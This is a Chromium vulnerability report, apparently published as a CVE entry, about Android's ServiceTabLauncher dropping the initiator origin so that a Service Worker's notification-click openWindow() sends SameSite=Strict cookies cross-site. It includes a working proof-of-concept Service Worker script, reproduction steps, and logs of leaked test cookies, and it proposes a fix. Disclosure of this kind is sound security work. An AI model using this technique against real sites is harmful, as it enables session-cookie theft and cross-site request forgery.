CVE-2026-113190
Overview
Files Changed
chrome/android/java/src/org/chromium/chrome/browser/webapps/WebappRegistry.javachrome/android/javatests/src/org/chromium/chrome/browser/app/metrics/TabbedActivityLaunchCauseMetricsTest.javachrome/android/javatests/src/org/chromium/chrome/browser/ServiceTabLauncherTest.javachrome/browser/android/service_tab_launcher.ccchrome/android/java/src/org/chromium/chrome/browser/webapps/WebappDataStorage.javachrome/android/java/src/org/chromium/chrome/browser/ServiceTabLauncher.javachrome/android/javatests/BUILD.gn
Original Bug Report
Android ServiceTabLauncher JNI bridge drops LoadUrlParams::initiator_origin — SameSite=Strict cookie bypass on Service Worker openWindow()
VULNERABILITY DETAILS
When a Service Worker handles a notificationclick event and calls clients.openWindow(url), Chromium’s content layer constructs OpenURLParams with initiator_origin = sw_origin (proven correct at content/browser/service_worker/service_worker_client_utils.cc:531-553). On Android, the dispatch path then crosses the JNI bridge via chrome/browser/android/service_tab_launcher.cc:45-73 and chrome/android/java/src/org/chromium/chrome/browser/ServiceTabLauncher.java:70-103, 191. The Java side has no field to carry initiator_origin and never calls LoadUrlParams.setInitiatorOrigin(...) before invoking tab.loadUrl(new LoadUrlParams(url)). The result is that the target navigation is committed as a top-level browser-initiated navigation (no initiator origin, Sec-Fetch-Site: none, empty Referer for cross-site), instead of inheriting the Service Worker’s origin as initiator.
This is the same root pattern as crrev.com/c/7710591 (CL 7710591, “Add an initiator for the payment handler dialog”, Darwin Yang, 2026-03-31) — but at a different code path. The desktop CL fixed chrome/browser/ui/views/payments/payment_handler_web_flow_view_controller.cc. The Android-Java + JNI variant of the same root cause exists at chrome/android/java/src/org/chromium/chrome/browser/ServiceTabLauncher.java and is unfixed at HEAD refs/heads/main (verified 2026-05-18) and tag refs/tags/148.0.7778.167 (shipping stable).
Impact: a web origin with Notification.permission == "granted" can post a notification whose click handler calls clients.openWindow(victim_url) on a different registrable domain. The resulting top-level navigation is treated as browser-initiated by Chromium’s SameSite cookie context computation, so SameSite=Strict cookies on the victim domain are sent even though the navigation is cross-site and the initiator was a service worker on a different domain.
VERSION
Chrome Version: 148.0.7778.167 (Android stable channel) Operating System: Android 14 Device: DOOGEE N55 (physical hardware, USB-debugged) Source verified at HEAD via:
- https://chromium.googlesource.com/chromium/src/+/refs/heads/main/chrome/android/java/src/org/chromium/chrome/browser/ServiceTabLauncher.java
- https://chromium.googlesource.com/chromium/src/+/refs/heads/main/chrome/browser/android/service_tab_launcher.cc
- https://chromium.googlesource.com/chromium/src/+/refs/heads/main/content/browser/service_worker/service_worker_client_utils.cc
REPRODUCTION CASE
Empirically reproduced end-to-end on physical Android device.
Setup (3 PSL-distinct origins):
- attacker: https://f5ffa5f220e3cc.lhr.life (registrable: lhr.life)
- victim: https://likewise-eardrum-dioxide.ngrok-free.dev (registrable: ngrok-free.dev — PSL-listed)
attacker and victim are on different registrable domains, so navigations between them are cross-site for SameSite purposes.
Service Worker code on attacker.lhr.life (/stl-attacker-sw.js):
const VICTIM_URL = 'https://likewise-eardrum-dioxide.ngrok-free.dev/csrf?via=stl_notif';
self.addEventListener('install', e => self.skipWaiting());
self.addEventListener('activate', e => e.waitUntil(self.clients.claim()));
self.addEventListener('fetch', e => e.respondWith(fetch(e.request)));
self.addEventListener('notificationclick', e => {
e.notification.close();
e.waitUntil(self.clients.openWindow(VICTIM_URL));
});
Victim endpoints (full server source attached as server.py):
GET /setcookie -> Set-Cookie: session_strict=STRICT_SECRET_XYZ; SameSite=Strict; Path=/; Secure
Set-Cookie: session_lax=LAX_SECRET_XYZ; SameSite=Lax; Path=/; Secure
Set-Cookie: session=SECRET_XYZ; SameSite=Lax; Path=/; Secure
GET /csrf?via=stl_notif -> 200, page reads document.cookie and POSTs to /log
Steps performed on the device (timestamps from 2026-05-18 reproduction run, all in srv_attacker.log):
-
Visit https://likewise-eardrum-dioxide.ngrok-free.dev/setcookie -> SameSite=Strict cookie
session_strict=STRICT_SECRET_XYZset on the victim origin. -
Visit https://f5ffa5f220e3cc.lhr.life/stl-attacker -> attacker page registers
/stl-attacker-sw.js, requests notification permission (user taps “Autoriser”), then callsregistration.showNotification('🔥 TAP ME', {requireInteraction: true, tag: 'stl'}). -
User pulls down notification shade, taps the notification posted by attacker.lhr.life.
-
Chrome dispatches
notificationclickto the service worker. The service worker callsclients.openWindow('https://likewise-eardrum-dioxide.ngrok-free.dev/csrf?via=stl_notif'). -
Chromium’s
service_worker_client_utils.cc::OpenWindowcorrectly attachesinitiator_origin = attacker.lhr.lifeto the OpenURLParams. -
The Android dispatch path crosses the JNI bridge: chrome/browser/android/service_tab_launcher.cc:45-73 -> chrome/android/java/…/ServiceTabLauncher.java:70-103
initiator_originis not propagated to the Java side. The Java side constructsnew LoadUrlParams(url)and never callsLoadUrlParams.setInitiatorOrigin(...).mActivity.startActivity(...)then commits the navigation in a new tab as browser-initiated.
OBSERVED (server-side raw log, 2026-05-18 22:39:05, attached as srv_attacker.log):
[REQ attacker GET] path=/csrf?via=stl_notif cookies=abuse_interstitial=likewise-eardrum-dioxide.ngrok-free.dev; session=SECRET_XYZ; session_strict=STRICT_SECRET_XYZ; session_lax=LAX_SECRET_XYZ Sec-Fetch-Site=none Referer=https://f5ffa5f220e3cc.lhr.life/
[ATTACKER /log POST]: {“jsCookie”:“abuse_interstitial=…; session=SECRET_XYZ; session_strict=STRICT_SECRET_XYZ; session_lax=LAX_SECRET_XYZ”, “referrer”:“https://f5ffa5f220e3cc.lhr.life/", “url”:“https://likewise-eardrum-dioxide.ngrok-free.dev/csrf?via=stl_notif"}
Two facts are direct evidence:
-
session_strict=STRICT_SECRET_XYZis sent to ngrok-free.dev on a navigation initiated from lhr.life.SameSite=Strictcookies must not be sent on cross-site navigations initiated by another origin. They are being sent because the navigation has no initiator_origin attached and is treated by the SameSite cookie context computation as top-level browser-initiated (equivalent to a user typing the URL in the address bar). -
Sec-Fetch-Site: noneconfirms that Chromium emits this navigation with the “user/browser initiated” fetch metadata value, not “cross-site”.noneis the Sec-Fetch-Site value Chrome attaches to navigations without an initiator script context. This is the same observable signature CL 7710591 set out to fix on desktop.
The same cookie is read client-side from document.cookie on the victim page,
confirming that any attacker-controlled JavaScript on the victim’s csrf endpoint
(or any attacker-redirected destination) can exfiltrate it.
SUGGESTED FIX
Mirror CL 7710591’s pattern on the Java side. OpenURLParams::initiator_origin is already
populated on the C++ side; propagate it through ServiceTabLauncher:
// chrome/browser/android/service_tab_launcher.cc (around line 45-73)
// Pass params.initiator_origin to the Java callback (new method parameter on the
// JNI shim).
// chrome/android/java/src/.../ServiceTabLauncher.java (around line 70-103, 191)
LoadUrlParams params = new LoadUrlParams(url.getSpec());
if (initiatorOrigin != null) {
params.setInitiatorOrigin(initiatorOrigin);
}
tab.loadUrl(params);
LoadUrlParams.setInitiatorOrigin(...) is the Java equivalent of
LoadURLParams::initiator_origin and is already used in other Android paths (e.g.
HiddenTabHolder.java:194, 311 and IntentHandler.java:1906).
ATTACHMENTS
- server.py multi-origin Python test server (attacker + victim endpoints)
- srv_attacker.log raw server log of the reproduction run, including the cross-PSL cookie observation
- srv_wallet.log attacker server log showing SW registration and notification posting
- urls.env exact tunnel URLs used (lhr.life merchant/wallet, ngrok-free.dev attacker)
- stl_step1.png … stl_step5.png device screenshots through the reproduction flow, including: notification permission prompt, notification in tray (marked as “Spam potentiel” by Chrome Safe Browsing), final victim page showing cookies leaked
- PROOF.md short proof summary
REPRODUCIBILITY NOTES
- The reproducer needs any two HTTPS origins on two different registrable domains. The attached setup uses localhost.run (registrable: lhr.life) for the attacker site and ngrok-free.dev for the victim site; both services serve a local Python server over HTTPS.
- No special Chrome flags, no compromised renderer simulator, no debug build are required. The reproduction was performed against an unmodified Chrome 148.0.7778.167 installed from the Play Store.
- The single user action required is tapping the notification once after granting
notification permission. There is no additional gesture required between
clients.openWindow(...)and the cross-PSL cookie observation.
CREDIT INFORMATION
Reporter credit: TheKng
- https://chromium.googlesource.com/chromium/src/+/refs/heads/main/chrome/android/java/src/org/chromium/chrome/browser/ServiceTabLauncher.java
- https://chromium.googlesource.com/chromium/src/+/refs/heads/main/chrome/browser/android/service_tab_launcher.cc
- https://chromium.googlesource.com/chromium/src/+/refs/heads/main/content/browser/service_worker/service_worker_client_utils.cc
- https://crrev.com/c/7710591
- https://f5ffa5f220e3cc.lhr.life
- https://f5ffa5f220e3cc.lhr.life/stl-attacker
- https://likewise-eardrum-dioxide.ngrok-free.dev
- https://likewise-eardrum-dioxide.ngrok-free.dev/csrf?via=stl_notif
- https://likewise-eardrum-dioxide.ngrok-free.dev/csrf?via=stl_notif%22%7D
- https://likewise-eardrum-dioxide.ngrok-free.dev/setcookie